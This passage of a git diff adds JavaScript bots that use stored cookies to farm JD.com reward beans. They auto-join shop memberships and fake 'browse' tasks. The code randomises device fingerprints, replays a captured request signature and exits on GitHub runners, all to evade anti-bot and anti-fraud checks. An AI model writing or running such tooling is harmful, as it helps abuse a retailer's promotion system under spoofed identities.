getData("https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/joyjd_open.json") + if (!data) { + data = await getData("https://raw.fastgit.org/Ca11back/scf-experiment/master/json/joyjd_open.json") + } + if (data.activityIDList && data.activityIDList.length) { + $.log(`获取到远程且有数据`); + activityIDList = data.activityIDList.join('@') + endTimeList = data.endTimeList.join('@') + tasknameList = data.tasknameList.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + console.log(`通用ID任务就位,准备开始薅豆`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let activityIDArr = activityIDList.split("@"); + let endTimeArr = endTimeList.split("@"); + let tasknameArr = tasknameList.split("@"); + for (let j = 0; j < activityIDArr.length; j++) { + activityID = activityIDArr[j] + endTime = endTimeArr[j] + taskname = tasknameArr[j] + $.fp = randomString(); + $.eid = randomString(90).toUpperCase(); + console.log(`通用活动任务ID:${activityID},结束时间:${endTime},活动名称:${taskname}`); + if($.endTime && Date.now() > $.endTime){ + console.log(`活动已结束\n`); + continue; + } + await main(); + await $.wait(2000); + console.log('\n') + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} + +async function main() { + $.mainTime = 0; + do { + $.runTime = 0; + do { + $.activity = {}; + $.dailyTaskList = [] + $.moduleBaseInfo = {} + await getActivity(); + await $.wait(2000); + if(JSON.stringify($.activity) === '{}'){ + console.log(`获取列表失败:${activityID},重新获取`); + } + $.runTime++; + await $.wait(2000); + }while (JSON.stringify($.activity) === '{}' && $.runTime < 10); + console.log(`任务列表:${activityID},获取成功`); + $.moduleBaseInfo = $.activity.moduleBaseInfo; + $.dailyTaskList = $.activity.dailyTask.taskList; + if($.moduleBaseInfo.rewardStatus === 1){ + console.log(`领取最后奖励`); + await getReward(); + } + await $.wait(1000); + $.runFlag = false; + for (let i = 0; i < $.dailyTaskList.length; i++) { + $.oneTask = $.dailyTaskList[i]; + if($.oneTask.taskCount === $.oneTask.finishCount){ + console.log(`groupType:${$.oneTask.groupType},已完成`); + continue; + } + console.log(`groupType:${$.oneTask.groupType},已完成:${$.oneTask.finishCount}次,需要完成:${$.oneTask.taskCount}次`); + $.item = $.oneTask.item; + let viewTime = $.oneTask.viewTime || 3; + console.log(`浏览:${$.item.itemName},等待${viewTime}秒`); + await $.wait( viewTime* 1000); + await $.wait( 1000); + await doTask(); + $.runFlag = true; + break; + } + $.mainTime++; + }while ($.runFlag && $.mainTime < 40); +} + +async function getReward(){ + const url = `https://jdjoy.jd.com/module/task/v2/getReward`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":5,"configCode":"${$.moduleBaseInfo.configCode}","itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doTask(){ + const url = `https://jdjoy.jd.com/module/task/v2/doTask`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":${$.oneTask.groupType},"configCode":"${$.moduleBaseInfo.configCode}","itemId":"${$.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getActivity(){ + const url = `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${activityID}&eid=${$.eid}&fp=${$.fp}`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'content-type':'application/json;charset=utf-8', + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding' : `gzip, deflate, br`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Host' : `jdjoy.jd.com`, + 'Accept-Language' : `zh-cn`, + 'Connection' : `keep-alive`, + }; + + const myRequest = {url: url, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data && data.data && data.data.moduleBaseInfo && data.data.dailyTask){ + $.activity = data.data; + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joyopen.js b/jd_joyopen.js new file mode 100644 index 0000000..e7a6730 --- /dev/null +++ b/jd_joyopen.js @@ -0,0 +1,543 @@ +/* +JOY通用开卡活动 + +变量:export JD_JOYOPEN="ID" 多个ID用 @ 连接 + +如遇火爆请重跑一次即可 +奖励未到账请再次运行本脚本 +日志显示已入会,才代表奖励已经领取 + +cron:2 1 * * * +============Quantumultx=============== +[task_local] +2 1 * * * jd_joyopen.js, tag=JOY通用开卡活动, enabled=true + +*/ +const $ = new Env('JOY通用开卡活动'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let joyopen = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if (process.env.JD_JOYOPEN && process.env.JD_JOYOPEN != "") { + joyopen = process.env.JD_JOYOPEN.split('@'); +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = "" +!(async () => { + console.log('\n【如遇火爆请重跑一次即可】\n【奖励未到账请再次运行本脚本】\n【日志显示已入会,才代表奖励已经领取】') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!joyopen) { + console.log("\n衰仔你好,衰仔你好!!!\n你不填写变量 JD_JOYOPEN,\n是不是玩我呢!\n我很生气,拒接执行o(╥﹏╥)o"); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + for (let j = 0; j < joyopen.length; j++) { + $.configCode = joyopen[j] + console.log(`开卡ID就位: ${$.configCode},准备开始薅豆`); + await getUA() + await run(); + } + //if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + //if(message){ + //$.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + //if ($.isNode()){ + //await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + //} + //} +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:`${$.configCode}`,configName:'JOY通用开卡'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 0 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + $.errorJoinShop = ''; + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ + console.log('第1次 重新开卡') + await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) + await join($.oneTask.venderId) + } + if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ + console.log('第2次 重新开卡') + await $.wait(parseInt(Math.random() * 2000 + 4000, 10)) + await join($.oneTask.venderId) + } + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 0){ + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 0){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + $.errorJoinShop = '' + await $.wait(1000) + await getshopactivityId() + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + let body = `{"venderId":"${venderId}","shopId":"${venderId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}` + let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${body}&clientVersion=9.2.0&client=H5&uuid=88888&h5st=${h5st}`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + $.errorJoinShop = res.message + if(res.result && res.result.giftInfo){ + for(let i of 